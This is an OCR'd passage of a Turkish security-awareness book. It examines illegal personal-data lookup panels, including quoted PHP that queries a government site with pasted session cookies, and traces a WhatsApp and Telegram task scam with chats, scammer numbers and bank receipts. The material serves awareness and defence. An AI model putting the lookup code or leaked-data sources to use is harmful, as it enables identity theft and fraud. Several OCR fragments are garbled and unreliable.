[FREE] Discord Modern Sorgu Botu (sayfalar:1234...7)

Discord Sorgu Botu Altyapr: (sayfalar:12345)

Plaka Sorgu | Enliyet Sorgu apisi by (sayfalor:12)

OZEL APILER (sayfalar:12

inf.. i Uinkedin ¥ Mort SARICA (mer.. 1 Inbox - mertsaric,

(aka api kaynak ke

WODERATOR

ok
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86 Yorum

79 Yorum

67 Yorum

47 Yorum

16 Yorum

57 Yorum
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paste.t

Linkedin inbox - mert saic

<7php
e Ulagabilirsiniz
Sauth_keys = [* %

Sauth = $_GET['auth'] 22 null;

if (tin_array(Sauth, Sauth_keys) {
http._response_code(401);

exit(*Girdiginiz auth yanls ya da auth girmediniz");
}

header(Content-Type: application/json; charset=utf-8";
//BURAYI KENDI LOGININZE GORE DUZENLEYIN ANLAMASSINIZ DIYE GIRECEGINIZ YERLERI
//KOYDUM

$Cookle = *_ga_53QUE7B3ME=kendi loginine gore diizenle; _gid=kendi loginine gore dizenle;
_ga_WALJ4GZT7N=kendi loginine gdre dizenle; _ga=GA1.1.1052453498.1677348133; ASPNET.Sessionld=kendi loginine
gore dizenle; ASPXAUT} ; TSO1fe7e76=kendi loginine gdre dizenle;
b_Admin_visibility=visible

$ch = curl_init);

curl_setopt(§ch, CURLOPT_URL, 'https://arackiralama. 1.gov.tr/frm_arac_iade.aspx?
plaka='strtoupper($_GET["plaka"). &id=178d0b1-3239-489a-a967-d33a9073d7908tur=1");

curl_setopt(§ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt(§ch, CURLOPT_CUSTOMREQUEST, 'GET);

curl_setopt(§ch, CURLOPT_HTTPHEADER, [

. 4

Kaynak kodlarini incelemeye devam edip TCKN bilgisi ile
hangi bilgilerin bu paneller iizerinden elde edilebilecegine dair

agidaki bir tablo ortaya ¢kt

 vipplus.php

kodlara goz attigimda kabaca as

<> vipplusphp

page_title

(
(

TC viP PLUS:

K Kisinin T.C. Nosunu Giriniz.

0" n
width height: 45px; outline: margin-1
0" 4
height outline: margin-left: 5

height: 45px; outline: margin-left Yazdir Detay

DOGUM YERI.
NOFUS. 1L

MEDENE HALT
ANNE ADL

BABA ADI

ANE

BABA TC

KIZLIK SOYADL
MAVE KART VARMI?.

— g sorgoate wa Soguns o
o R s g o o st - o s T T
™y aat o it oy e o om T
Ty o taice oy v o g T o Sergsaie
Yy - nder v i i oo e g Yoy e
ol o o | fie e 0 . i
] a A [Soyed ] [wanase o Ad [Oogum Tarn
s ] [ oo TC |- watc psorgmsi
sops [y o Tc: ™ [ o
oo o ] e ok sopes G oo o (st s Agsyag [opams ot
ot ] fawar o o o 7 o ‘ s [tk ovgme oy
e Jvey Sraii o Tt per iy oot oo A it Ko
m a7 1 ooy s oo tora o s
o g owe o oo S e vor [ion s oo
ey s (— T iy ey [mane
o 5 [somt oo e I
7o [oogum s p e anice m
i S e e vt [oogum e s v 7 v o
o it [otam ounens ashara A = ey
o Ty oo i
o svsSnato i
o v Owrn T

Kaynak kodlarini incelemeye devam ettigimde, 6nceki konudan
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bagimsiz olarak yine son giinlerde haberlere ve tartigmalara
konu olan yaklagik 131 adet kisi ve kimlik fotograflar ile de
karsilastim. Bunlar1 ge¢mis haberlerde yer alan goruintiilerle
kiyasladigimda bunlarin binlerce kisinin dolandirildig kripto
para borsasi Thodex ile iligkisi oldugunu, 2021 yilindan beri
dolandiricilarin  elinde bulundugu ve 50 TL'ye satildigim

ogrendim.

) @ kimlikler.php
. insta.php <> Kimikier.php

. instahata.php e O

. ipsorgu.php Uygun buldugunuz kimlik gdrselin altindaki indirme butonuna tiklayarak indirebilirsiniz.
. isyeri.php
. isyerix.php

| B

. Kadroscripts.
) kadrostyle.css
B kimiikier
1ipeg
2jpeg
3jpeg
4.jpeg
5jpeg
Zipeg
8.jpeg

9jpeg

B
i
A
B

10,jpeg

-
SonDakika.com sooacka concer pouTika exoNowl spor MacAZ e

"BU KAGI$ STRATEJISINE BENZIYOR"

Bir sosyal medya kullanicist ise attii tweette ginler Gncesinde dolandiricilig tahmin ettigi
ortaya gikti. S6z konusu tweette kullanici su ifadeler kullanmigts

htdocs



https://www.webtekno.com/insanlarin-kimlikli-selfieleri-sosyal-medyada-dolasiyor-h135335.html
https://www.sondakika.com/ekonomi/haber-magdur-olan-binlerce-thodex-uyesinin-kimlik-14084798/
https://www.haberturk.com/thodex-dolandiricilikta-dunyanin-1-numarasi-3289069-ekonomi
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WEIOTEKNO  ANASAYFA  HABER  VIDEO  KATEGORILER ~

Sosyal medya platformlari bu tarz paylagimlari engelleme
baslad.

2,530 members h

@’ LANMA ALIMLAR ISIK HIZINDA £

0 % PAPARA HESABI ALINIR {7 <9

ﬂ ETEDARiGi SAGLAM CEVRESI GENIS KISILER NE BEKLIYORSUN

E}' %+ 90 HER TURLU PLATFORMA SMS VERILIR 06:51
K, - e \‘: r(}\ﬂ i (r—'.) =] s

Forwarded from
&7 Photoshop islemleriss”
Tum Evraklarda Oynama Yapilir
Kargo Fisi, Fatura vb. Yapilir
- Kimlik Shoplanir
*Thodex Selfielerinde oynama yaplilir
b)) - Demo Aulmadan Hichir Ucret Talep Etmiyoruz
s [0 7] B0 53 BT Ship Iglemleri Es3 Es3 Es3 [s0 Bs2)
Apple Shipleriniz % 10 ile gegilir
Ship Gegilmeden Higbir Ucret Talep Etmiyoruz 06:51
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1,122 members

! Pinned message #1
instagram Eski Kurulumlu Hesap Galma Methodu (Youtube'dan Kaldirilan Videom!

Ao AT

Reply

| Oha abi gok buyiiksin ben 7 yasindayim
° Yaw olm dalga gecmeyin coluk cocukla ¢ 5.34

Sas.

A .« ( Samanye
@

| g—

54  Thodex kimlik selfie satilik 50 tI

15:31

Konuyu toparlayacak olursak, e-Devlet hacklenmemis olsa da
biz sade vatandaglar i¢in maalesef ortaya endise verici bir sonug
cikiyor. Bu diizeyde, organize dolandiriciliklara karg:
verilerimizin, bilgilerimizin giivenligini bireysel olarak
saglamamiz veya elde edildigini distindigiimiz verileri
degistirmemiz, giincellememiz (TCKN, Anne Adi, Baba Adi,
Kizlik Soyadi vb.) pek miimkiin degil bu nedenle;

Bu gekilde ¢alinan, kétiiye kullanilan hesaplari, web sitelerini/
APIlerini/servislerini siber tehdit istihbaratindan,
platformlarindan, hizmetlerinden faydalanarak tespit etmek ve
miidahale etmek i¢in yetkililere bityiik bir gérev diisityor.

Her ne kadar emniyet giiclerinin dolandiricilara, tehdit
aktorlerine karsi operasyonlar1 asagidaki gibi hiz kesmeden
devam etse de, kotitye kullanilma riski olan bu tiir web
sitelerinde/APIlerde/servislerde yazilim ve ag seviyesinde
giivenlik kontrollerinin uygulanmas: (Miimkiin olan yerlerde
Captcha kontroli, bir sayfaya/servise maks x saniyede y web


https://www.turkiye.gov.tr/
https://en.wikipedia.org/wiki/CAPTCHA
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istegi yapilabilmesi, coklu istek yapilmasi durumunda hesabin
askiya alinmasi ve incelenmesi, ag baglantisinin kesilmesi,
ilave dogrulama adimlarina tabi tutulmasi gibi gibi),
sistemlerin sikilagtirilmasi da (hardening) biiytik 6nem arz
ediyor.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.

One or more interactive elements has been

excluded from this version of the text. You can
view them online here: https://pressbooks.pub/
hack4career2023/?p=291#o0embed-1
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4. WhatsApp

Dolandiricilan

If you are looking for an English version of this article,

please visit here.

[powerkit_toc title="ICINDEKILER” depth="2" min_count="4"
min_characters="1000"]

Baslangic

Son giinlerde hemen hemen WhatsApp uygulamas: kullanan
herkesi rahatsiz eden yabanci cep telefonu numaralarindan
gelen cagrilardan, mesajlardan ben de yakin zamanda nasibimi
aldim ve tabii ki diger dolandiriciliklarla ilgili yazilarimda

(Kripto  Para Dolandiricilar;, LinkedIln Dolandiricilari,

Instagram Dolandiricilar) oldugu gibi farkindalik yaratma

adina bunu da aragtirmak, yaziya dokmek i¢in kollar1 sivadim.

Bu hikaye 31 Temmuz 2023 tarihinde rehberimde kayith
olmayan, Malezya iilke koduna sahip bir cep telefonu

85


https://www.mertsarica.com/whatsapp-scammers/
https://www.whatsapp.com/
https://eksisozluk1923.com/yurtdisi-numaralarindan-gelen-whatsapp-mesajlari--7722380
https://www.mertsarica.com/kripto-para-dolandiricilari/
https://www.mertsarica.com/linkedin-dolandiricilari/
https://www.mertsarica.com/instagram-dolandiricilari/
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numarasindan (+60 11-6436 2947) aldigim mesaj ile basladi.
Bu mesajda sipheli sahis, Tirkiye’de turizm verilerinin
artmasina yardimci olmak amaciyla pazar aragtirmasi yaptigini
ve 3 basit soru sorarak 180 TL kazanabilecegimi soyliiyordu.
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&\ &) +60 11-6436 2947

Block
Today

& Messages and calls are end-to-end encrypted.
No one outside of this chat, not even WhatsApp,
can read or listen to them. Tap to learn more.

Merhaba Tinaydin ;.-

Buglin nasilsin? ;.--
lyiyim sen nasilsin ? ;.49 4

ben iyiyim efendim .,

Tanistigima memnun oldum, ben Lara

Ben de. Ben Rifat. 7.1

Cok naziksiniz, birkag dakikanizi alabilir
miyim?

Tabii 7.1

Su anda sirketimiz Tlrkiye'de turizm
verilerinin artmasina yardimci olmak

icin pazar arastirmasi yapiyor, yardimci
olabilir misiniz?

3 basit soruyu yanitlayarak ve daha

fazla aktivite alarak 180TL (Simdi Ode)
kazanin. 0713

Tabii. Odeme nasil olacak ? ,..5
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&\ & +60 11-6436 2947

Soru-2: Ilgilendiginiz turizm projelerini
hangi kanallar araciligiyla kesfettiniz?
(A): seyahat dergisi

(B): seyahat sitesi

(C): diger

B 07:20 W/

tamam harika.

Soru-3:Seyahat ettiginizde otel segerken
kriterleriniz nelerdir?

(Bedel

(B): cografi konum

(C): diger

A 07:22

Tamam, gorevleri tamamladiniz, gok
akillisiniz.

Oyleyimdir. .5,

Size 180TL 6deyebilmemiz igin litfen
asagidaki bilgileri formata gore
doldurunuz.

Ad Soyad :

Banka hesabi numarasi:

Bankanin adi :

Yas:

Cinsiyet:

Mevcut is:

Finans departmanimiz 6demenizin
derhal igleme alinmasini
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&|& ) +60 11-6436 2947

Tamam hemen yaziyorum. ;.4

evet efendim

Onu telegrama ekledikten sonra, ona

bu mesaji gonderin ve bana bir ekran
goruntusu gonderin, boylece sizinle daha
hizli ilgilenmesini saglayabilirim.
Bilgilerinizi tekrar kontrol edecek ve

5 dakika igerisinde 6deme islemini
tamamlayacaktir.

Odiillerinizi almazsaniz veya
Resepsiyonist size cevap vermezse
litfen bana bildirin.

Yaziyor bana ;.45
ah! Tamam

Gonderildi, sistem odiilleri 6demek igin
10-20 dakika kuyruga giriyor. Lutfen
aldiginizda bana bildirin. Satici veri
gorevleri daha iyi oduller alabilir. ;.55

Size bilgi vermemi istedi ;.55

Gergekten akillisin, litfen odilini bekle
ve odilunt 10 dakika igcinde almazsan
sana yardim edecegim. 07-35

Tamam ;.35 4

Odiilleri beklerken bir sonraki géreve
devam edebilirsiniz.
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Bu sahsin profiline baktigimda 3 Temmuz 2023‘ten beri
WhatsApp uygulamasimi kullandigimi ve profil fotografini
Yandex arama motorunun Gorsel Arama 6zelligini kullanarak
internette arattigimda tahmin ettigim iizere, bazilar1 sahte
olmak tizere ¢ok sayida farkli hesapta kullanildigini,
paylasildigini 6grendim.

&

+60 11-6436 2947

Hey there! | am using WhatsApp.
July 3


https://yandex.com/
https://yandex.com/images/
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« C O @ yandex.com

Yandex [ /8" Uploaded image x w

Images

Image appears to contain

[6 o740/ & [8][%) &

fs tlc (2 n'hs ¢s

o 110 A
o 9 & P@!é s ,bl:{ln

(@ Pinterest Today Watch  Shop  Explore

Dolandiricinin tiim sorularini yanitladiktan sonra bana bir 6diil
kodu verip hesabima 6deme yapilabilmesi igin Telegram’da
Rsp_Nilu kullanici adina sahip Nilu BALPANC isimli bir kisi
ile iletisime ge¢cmemi soyledi. Telegram Desktop uygulamasina
gore profil fotografinin 30 Temmuz 2023 tarihinde yiikledigi
anlagilan bu kisi ile iletisime gectigimde, vermis oldugum
banka hesap numarasimin hatali oldugunu séyledi. Bir siire
yazigtiktan sonra istediginin hesap numarasi degil IBAN
numarasl oldugunu anladiktan sonra bekledigi bilgiyi
kendisine en azindan hata almayacag fakat para transferini de
gerceklestiremeyecegi sekilde yine yanlis olarak ilettim. (&
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“Dolandiriciy1 dolandirdim, hesabima  para
gondermelerini saglatim” veya “Dolandiricidan
parayl aldim, elektrik faturami 6dedim.” demek,
dolandirilmig masum bir vatandasin parasi yani

calint1 para ile islem yaptiginiz anlamina gelebilir.

Bu hesaplara yonelik sorusturma baglatildiginda
dolandiricilarla  iliskiniz olup olmadigina dair
kendinizi sanik koltugunda, savunma yaparken
bulabilirsiniz bu nedenle sakin ola dolandiricilarla
finansal bir iligki i¢inde yer almayin.

Hesabiniza dolandiricilarin - hesaplarindan  para

transferi yapildiysa ivedilikle bankanizla iletigsime

gecin.
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< 2 Refepswomst-h .3 w
sne yplng

July 31

Merhaba. g7.98

Merhaba, ben resepsiyonistiniz Nilu
Balpang, o6dulu almaya mi geldiniz?

Evet g7.29 o

Aramiza hosgeldin,

Lutfen bilgilerinizi verin, galismaya katilin,
gorev ve komisyon alin!

1. Tam ad:

2. Cinsiyet:

3. Meslek:

4. Yas:

5. WhatApp numarasi:

6. Banka hesap numarasi:

7. Banka adu:

1- Rifat llgaz

6- 57359646

7- smmbank

4- 51

2- Erkek

3- Muhasebe mudiru

5- 07:31 W

Litfen kodunuzu girin

XY3171 g7.32

Gonderildi, sistem odulleri ddemek icin
10-20 dakika kuyruga giriyor. Litfen
aldiginizda bana bildirin. Satici veri
gorevleri daha iyi odiiller alabilir.
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2 g Resepsiyonist - N HOT S

=] 18]
|1vRﬁatHgaz6-573596467- bank 4- 5...

Sistem, banka hesap numaranizin yanlis
oldugunu soruyor

Sizin igin sistem 6deme odulini
gondermek igin litfen bana dogru banka
bilgilerini saglayin

Dogru bilgilerim. 47.49 .o

57359646

Sistem, banka hesap numarasinin yanlis
oldugunu soruyor

Tekrar kontrol ettim. Nasil bir hata
aliyorsunuz ? 07:50 &

Bankamla iletisime gegeyim. g7.50 &
Sistemin size basarili bir sekilde 180TL
odeyebilmesi igin litfen bana dogru banka

hesap numarasini verin.

Bank of ™ hesabimi veriyorum o halde:
63847387 s

Gin banka hesab1?

Bank of g Tirkiye o7:53 &

ithalat ve ihracat da yaptigim igin 7.53 o

Canim, baska banka kullaniyor musun?
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Hesapla ilgili hata aldigim paylastiginda aklimi hemen bir soru
kurcalamaya baglamigti. Gergekten kurbanlarinin giivenlerini
kazanmak i¢in 6ncesinde onlarin banka hesaplarina bir miktar
para m1 gonderiyorlardi? Bunun i¢in dolandiriciya ilettigim
IBAN numarasina para transferi yapilip yapilmadigin
sorgulattigimda para transferi yapildigimi 6grendim! Kaz
gelecek yerden tavuk esirgemeyen dolandiricilarin tezgahi
yavag yavag ortaya ¢ikiyordu.

Paray1 ve dekontu almadan gorevleri yapmayacagimi kendisine
sOyledikten sonra dekontu génderen dolandirici ardindan beni
64 kisiden olusan Yar1 Zamanli Goérev Grubu isimli bir
Telegram grubuna aldi. Grupta ginlik olarak paylasilan
gorevleri yerine getirirsem goérev basma 60 TL

kazanabilecegimi de belirtmeyi ihmal etmedi.
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< s Rgsepgyyqnl.s.t-l\ HOT SR

Muhsin Sayici gg.00 v

Bir gruba eklendiniz ve grubun diger
uyeleriyle iletigsim kurabilir, paylasabilir ve
ayni gorevleri yerine getirebilirsiniz

[Gérev 19] YouTube abonelik gorevi

1.JAdim: YouTube'u agin ve [Justin Bieber]

Z. Adim: Abone ol‘a tiklayin

3. Adim: Bir ekran gériintiisi alin ve bu galigma grubuna
gonderin

4. Adm: Resepsiyonunuzla iletisime gegin, 6dill almak igin
ekran goriintisiuni gonderin

Bir sonraki gorev birakma zamani 16:40 09:23

Calisma grubu haberlerini takip edin,
herkes gibi YouTube'a kemik olma gorevini
tamamlayin, gérev numarasi, ekran ¢ikisi
bana gonderin, sizin i¢in puan sayayim.

180 TL hesabima gelince yapacagim.
09:24 &/

Dekontu alabilir miyim ? gg.06 L
Litfen sabirl olun ¢iinki goreve katilan
cok fazla kisi var, sistem onlari tek tek
gonderiyor.
Efendim, odulintzi aldiniz mi?
Hayir 4953 .

7 islemn detay: &
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< LW Yari Zamanl Gorev Grut
7, -

July 31

Resepsiyonist - Nilu Balpang added you to this group
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<

Q«t\ Yari Zamanli Gorev Grubu
bk

64 members

Notifications

Members

Mustafa
Resepsiyonist - Aiyla &
online

Resepsiyonist - Nilu Balpang %  Admin
online

7 Aysel
Séljm Jdidi

Sibel ®

Esrai @ mu Em
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.Q% Yari Zamanh Gorev Grubu

» N ¥ |
“§ & 64 members

(ﬁ Resepsiyonist-Semra Elin ‘%
! =

@a\ Hakan N mmm
S \-

w Mine mm
@ Ahmet| u

ey Umutl
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\ Yari Zamanh Gorev Grubu
64 members

Resepsiyon-Zeynep Yiicel #

Beytullah ™ 4

Resepsiyonist_Nehir Hz

Adil

Resepsiyonist_Abramova &

Cetin m

Ayse n mm

Effendy

Hilya[l®

. Serdar ===
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Y2\ Yari Zamanh Goérev Grubu
64 members

D O T e oy}

Resepsiyonist_Hatice &
. Ceetin

Faruk um

receptionist Aleyna %

Kemal. ol

Resepsiyonist- ELMAS £

Resepsiyonist-Eylil A

Resepsiyon-Aysegul Yarar (k)

Receptionist ~ rustle

Receptionist ~ Lisa

Task release- Mina
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Dolandiriciya para transferini X bir bankadan mi yaptigini
sordugumda, Odemelerin tglincit  bir parti tarafindan
yapildigim1 séyledi. Bu defa yeni bir soru aklimi kurcalamaya
basladi. Dolandiricilar, aglarina bagka yontemlerle diisiirdiikleri
kurbanlarinin hesaplarini bu dolandiricilik operasyonunda
paravan olarak mi kullaniyorlard: yoksa bu hesaplar gercekten

dolandiricilarin kendilerine mi aitti?

Hizla bu ve aklimi kurcalayan asagidaki diger sorularin
yanitlarini aramaya koyuldum.

Cep telefonu numaralarimiz1 nereden, nasil bulmus
olabilirlerdi? Kurbanlarini nasil aglarina diisiirityorlardi? Para
transferi i¢in kullanilan hesaplar kimlere aitti? Bu operasyonu
hangi iilkeden yiiriitityorlardi? Dolandiricilar Tiirkge biliyorlar
miyd1 yoksa geviri araglar: mi1 kullantyorlardi?

Cep telefonu numaralarimizi nereden ve nasil

bulmus olabilirlerdi?

e-Devlet Hacklendi mi? bashklh yazimda oldugu iizere

bilgilerimizin yer alt1 dilnyasinda elden ele gezdigi son yillarda
tehdit aktorlerinin, dolandiricilarin cep telefonu bilgilerimize
ulasmak i¢in ilave bir efor harcayarak bir yerleri hackledigini

ve oradan bu bilgileri sizdirdigina pek ihtimal vermiyorum.


https://www.mertsarica.com/e-devlet-hacklendi-mi/
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— —
1,064 subscribers

D |

e o

“ Bot Yardim
yeni sunucumuz discord.gg/
. [ june 27 ]
Ad Sehir
TC Sorgu (#)
Alle Sorgu &)
Siiale Sorgu (e
TC-G5M Sorgu )
GSM-TC Sorgu (+)
E-Okul Vesika +)
Ehllyat Vesika o)
Sern No Sorgu )
1BAN Sorgu ®
IP Sorgu *
Random Sorgu @
Ayak Sorgu &
Info &

INDIRIM

@  BOTPANEL DISCORD @

(L OZELLIKLER:

RAA SAvad
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Neden derseniz, tehdit aktorlerini, dolandiricilar1 siber
dinyada adim adim izleyen ve buna yonelik olarak
migterilerine anlik olarak siber tehdit istihbarati saglayan
SOCRadar XTI platformunda 6rnek bir cep telefonu numarasini
arattifimda, yer alti diinyasinda paylagilan veri sizintilari
dosyalarinda bu cep telefonu numaralarinin yer aldigin
gorebildim. Hatta birden fazla sizint1 dosyasinda ortak olarak
kullanilan cep telefonu numarasindan bir kisi ile ilgili eksik

bilgileri de tamamlamak miimkiin olabiliyor.

€ co e

Ayrica WhatsApp tizerinden buna benzer gerceklestirilen
dolandiriciliklarin diinyanin bagka iilkelerinde de yapildigini
unutmamak gerekiyor dolayisiyla uluslararasi bir dolandiricilik
sebekesi ile karsi karsiya kaldigimizi sdylersek yanlis olmaz.


https://socradar.io/extended-threat-intelligence/
https://twitter.com/rickynow/status/1687782775317790720?t=HbCvkzUCCo2EL16q6GcLQQ&s=08
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&) +1(321)359-1339

Jun

& Messages and calls are end-to-end encrypted.
No one outside of this chat, not even WhatsApp,
can read or listen to them. Tap to learn more.

Hello! We (randstad) are looking for

part time/full time employees - work

1-2 hours a day and earn at least CAD
1500-3000 for 5 days in a row - no
experience required and can be done
using mobile phone spare time. Salary is
settled on the day, age must be at least
20 years old,

Let me know if you are interested,
welcome to join our team. Thanks

< (@) 94777145985

online

Hi, I'm Miss Julian, from Neptune Digital
Marketing Agency. We are looking for
part-time or full-time and freelance staff.
Can | share more details for you?
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Kurbanlarini nasil aglarina diisiiriiyorlardi?

Yar1 Zamanli Goérev Grubu isimli bir Telegram grubuna
girdikten kisa bir siire sonra gorevlerin paylasildigi, ekran
goruntilerinin ve yazigmalarin yagmur gibi yagdigi bir
ortamda kendimi buldum ve grupta olan biteni izlemeye karar

verdim.

Bir siire izledikten sonra yoneticiler de dahil olmak tizere
gruptaki kigilerin isim — profil resimleri ve kullandiklar1 dil
arasinda uyusmazlik olmasi dikkatimi cekti. Birka¢ profil
fotografini yazinin baginda oldugu gibi internette arattigimda
bambagka kisilere ait oldugunu dolayisiyla sahte oldugunu
tespit ettim.
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Info

Unknown

Notifications
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€ C O @ yandexcom

Yandex Uploaded image X
Image appears to contain
“enosex aHaHTLA aHaHg loTyGep asuar

Similar images

0 Select crop area

Other image sizes

900900 100x100

» 00

numan khan GeficByx du.

Update §

C O @ youtube.com

= » YouTube

Q@ Home

History

ourvideos 1zz Punyoo

Liked vide

Subscriptions.

Cafe Music BGM.

*»06

BANGGOODBUY

ABOUT

@ e volywoodrn part 2 and a tech review, in Joined Aug 4,2014

tay tune with me

@ rou 8148527 vews

@ orsiccoe
@ rechredony

Updat
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€ C O @ yandex.com)
Yandex [ i) Uploadedimage x Search .
meges Vi Dk »
Image appears to contain
MeSYLKA  WeMuMMA  [enOBaRXeuMMa  GM3HecEyMeH

Text in image

o07:41
Sula lail 79%
Resepsiyonist-Eyliil*

last seen recently

Q Search 48 Transiate
Reset 1 Select crop area
Similar images

Other image sizes

No matching images found

Sites containing information about the image

Black Latin Mature & Royalty-Fr

m Dreamsti
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-

)

=32

Gruba gonderilen Tiirk¢e mesajlardaki yazim hatalarindan,
zaman zaman Tiirkce konusan kisilerin Cince ve Ingilizce
ciimleler de kurmasindan dolay1 gruptaki ¢cogu kisinin aslinda

bot oldugunu anladim.


https://telegram.org/blog/bot-revolution
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< L@h Yan Zamanh Gorev Grul
,'g-s-,\' (

Pinned Message

£ gbrevinftamamlayln. Bir sonraki
‘ gorev birakma zamani 16:20
Aysel
This merchant mission is helping

merchants become more popular,
v and we're making a profit because
‘ b Lt 3

5@ of it!

Yénetici Rita pinned " [Gérev 18] s veriler...

Eda Alev

The minimum task for commercial
tasks is 300, new members can do
100

Esra Sayin Karaoz

Gegen sefer 100 yapmadim, bu
sefer yapabilirim

Yonetici Rita

is verileri gorevleri igin gorevi

kendiniz segin, ornegin: is verileri

gorevini tamamladiktan sonra

500TL 6deyin, %30 odil kazanin,

650TL Nakit Para kazanin. Ayni

gun igerisinde 4 job data gorevini
tamamladiktan sonra resepsiyon

gorevlisi ile iletisime gecerek 5000 '
TL ek 6dul alabilirsiniz. N
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’Q Yari Zamanli Gorev Grul

Q‘f‘@

< Baska Hesaba Havale / EFT ®
Gonderen Bilgileri

Hesap Adi Vadesiz TL Hesabi
Sube GEKMEKQY CAVUSBASI CADDESI SUBESI
Hesap No b 8
Alici Bilgileri

Ad Soyad FENehrtann [JEhrrhhinn
Banka BANKASI A.S.
IBAN _ o1
islem Bilgileri

Tutar 500,00 TL
islem Masrafi (BSMV Dahil) 1,327L
islem Tarihi 04/08/2023

Odeme TarG Diger Odemeler

B €

& @

Automatic Translation
English  Co—m—

successful application
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Isin kéti yami ise botlar tarafindan kullanilan profil
fotograflarmin ~ masum  vatandaglarimiza  ait  oldugu

anlagiliyordu.

Info

Unknown

Notifications
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Unknown

Notifications
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Info

@twinklesxv

Notifications
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|ast seen recernt

Info

@Appointj

Notifications ()

Tirkiye saati ile saat 09:00°‘da baslayan, 20 dakikada bir
yenilenen ve aksam saat 20:30‘a kadar siiren gorevlerde, grup
yoneticisi tarafindan paylasilan YouTube kanallarina abone
olunmasi ve ekran goriintisini ya grupta ya da grup

yoneticileri ile paylagmasi bekleniyordu. Bu paylagimlari


https://www.youtube.com/
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yapanlarin da bu isten kazang elde edebilecegi vadediliyordu.
Ayrica daha fazla para kazanmak ve 6zel odalara katilabilmek
icin de tiiccar gorevi yapmaniz bekleniyordu. Bunun i¢in de en
disitk miktar olan 500 TL yatirmaniz ve bunun karsiiginda
650 TL kazabileceginiz belirtiliyordu.



118 mertsarica

¢ Lgﬂ Yari Zamanh Gérev Grul
;i,s-,"

I Pinned Message

July 31
Resepsiyonist - Nilu Balpang¢ added you to this group

Resepsiyonist - Aiyla added Mustafa Semih

Yonetici Rita
[Gorev 15] YouTube abonelik
gorevi

1. Adim: YouTube'u agin ve [g

= - )

2. Adim: Abone ol'a tiklayin

3. Adim: Bir ekran gortntisd alin ve
bu galisma grubuna gonderin

4. Adim: Resepsiyonunuzla
iletisime gegin, 6dili almak igin
ekran gorintiistinii gonderin

B Bir sonraki gorev birakma zamani
‘ 15:00

Yénetici Rita pinned " [Gérev 15] YouTube ab..!

~ Hattaca rfn'n{z";inéeo' .
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L, Yari Zamanli Gorev Grul
s+« YoOnetici Rita is typing

| Pinned Message

Yonetici Rita

[Gorev 24] is verileri gorevi
Gelismis Portfoy Ogeleri (2-4
siparis): Satici Onayli: Depozito
odendi.
Tlccar bildirimi: Piyasa talebine
gore, doviz spekiilasyonuna
yardimci olmak igin artik farkl
IP'ler aliyoruz, yer sayisi sinirlidir,
litfen ayrintilar igin resepsiyon
gorevlisine danigin.

VIP1 500 TL Cashback 650 TL+
(yeni gelen avantaj)

VIP2 2000 TL Geri Odeme 2600
TL+ (grup kar)

VIP3 3000 TL Geri Odeme 3900
TL+ (grup kan)

VIP4 6000 TL Geri Odeme 7800
TL+ (grup kan)

VIP5 8000 TL Cashback 10400 TL+
(grup kar)

VIP6 12000 TL Geri Odeme 15600
TL+ (grup kar)

VIP7 18000 TL Geri Odeme 23400
TL+ (grup karr)

VIP8 25000 TL Geri Odeme 32500
TL+ (grup kan)

VIP9 30000 TL Geri Odeme 39000
TL+ (grup kan)

VIP10 60000 TL Geri ddeme 78000
TL+ (grup kar)

Kontenian cinirhdir once aelen alir
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Pinned Message

N

tamamiadim
Unread Messages

Aurora Raynor

Evet kontenjana kendimiz
basvurabiliriz, kendimize
inanmalyiz.

Yonetici Rita

Is verileri gorevleri igin gorevi
kendiniz segin, drnegin: ig verileri
gorevini tamamladiktan sonra
500TL d6deyin, %30 o6dil kazanin,
650TL Nakit Para kazanin. Ayni
gin icerisinde 4 job data gorevini
tamamladiktan sonra resepsiyonist
ile iletisime gegerek 3000 TL ek
odul alabilirsiniz.

is gorevleri, ek ddiller:
1. Ayni glin 30 gorev tamamlayin ve
ek 5000TL gorev oduli kazanin.

2. Ayni gun iginde 4 i verisi
gorevini tamamlayin ve ek 3000TL
gorev odill kazanin.

Yukaridaki ekstra gorev odulleri
icin lutfen resepsiyon gorevlisi ile
iletisime gegin.
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Pinned Message

Boris
%30 mu? Gergekten mi?

Yonetici Rita

Bir seyi anlamadiysaniz, daha fazla
ayrinti i¢in litfen ilgili resepsiyon
gorevlisiyle iletisime gegin.

Cetin Capraz

Artik fakir olmak istemiyorum.
Burada ¢ok para kazanmak
istiyorum.

Bennett

Ama para kazanmak igin gok
calismaliyiz, para olmadan
yapamayiz.

Cetin Capraz
Artik fakir olmak istemiyorum. Burada...
Ne kadara bagvurdun?

Sylvester Schumm
Boris
%30 mu? Gergekten mi?

Tabii ki, kota bagvurusunda
bulunmak i¢in resepsiyonistle

iletisime gegmek icin zaman ayirin.
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k Yari Zamanli Gorev Grul

Pinned Message

2. Adim: Abone ol'a tiklayin

3. Adim: Bir ekran goriintiisi alin ve
bu galisma grubuna génderin

4. Adim: Resepsiyonunuzla

( iletisime gegin, ekran goruntusunu
i oduli alan kisiye gonderin.

Yénetici Rita pinned " [Gérev 30] YouTube ab..!"

Yonetici Rita

Bugliniin gorevi gonderildi ve
tamamlandi. Galisma grubu, is
ortaklaninin ihtiyaclarina gore her
glin 26 YouTube abonelik gorevi
(20 dakika) ve 4 is verisi tiklama
gorevi (40 dakika) dahil olmak
uzere 30 gorev yayinlar. Ayni
gorevin odulleri farklidir. Gunliik

( gorevler sabah 09:00'da baslar ve
i aksam 20:30'da biter.

Hasanstoi

* harika.. gérevleri bitirdim sayilir@®

Aurora Raynor

Son gorev yayinlandi ve 6dilu
. tamamladiktan sonra alabilirsiniz.
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Gorev esnasinda paylasilan bu YouTube kanallari, gruptaki
kurbanlari ikna etmek adina dolandiricilar tarafindan rastgele
secilen kanallar miydi yoksa takipci kazanmak icin hizmet
satin alan kisilerin kanallari miydi sorusunun yanmitini bu

zaman zarfinda bulma sansim maalesef olmadi.

Takipci hizmeti satin alanlarin istemeden de olsa bu
tiir dolandiricilar finanse etme ihtimali oldugunu da

unutmamalari faydali olacaktir.
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Yar| Zamanli Gorev Grul
© b
-‘ anet is typing

Pinned Message

- DIREKT MOBIL CEP
888.0444 0098968 TR69 0006 4000 0014 3930 2547 08
0016276708 0952 - HAZ VE SER PIY OPR. BOL
2787607470
BEYTULLAH Fatma
KORD IPLIK GAKILLI KASABASI
KRKLAREL|

TR770004600444888000098968

TUTAR BILGILERI
IMEVDUAT

SCH
IGECEFTKOMISYON
IGEC EFTBSMV

TOPLAM
YALNIZ BESBIN SEXIZ TL UG KR

& ®BP

Yonetici Rita
[Gérev 26] YouTube abonelik
gorevi

